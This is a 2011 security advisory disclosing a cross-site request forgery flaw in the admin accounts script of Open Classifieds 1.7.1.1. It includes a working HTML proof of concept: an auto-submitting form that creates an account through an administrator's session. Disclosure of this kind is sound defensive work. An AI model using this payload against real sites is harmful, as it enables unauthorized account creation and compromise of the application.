HTB22980: XSRF (CSRF) in Open Classifieds



Vulnerability ID: HTB22980
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_classifieds.html
Product: Open Classifieds
Vendor: Open Classifieds Team ( http://www.open-classifieds.com/ )
Vulnerable Version: 1.7.1.1 and probably prior versions
Vendor Notification: 28 April 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "admin/accounts.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/admin/accounts.php"; method="post" name="main">
<input type="hidden" name="name" value="myaccount">
<input type="hidden" name="email" value="email@xxxxxxxxxxx">
<input type="hidden" name="account" value="">
<input type="hidden" name="action" value="new">
</form>
<script>
document.main.submit();
</script>



Relevant Pages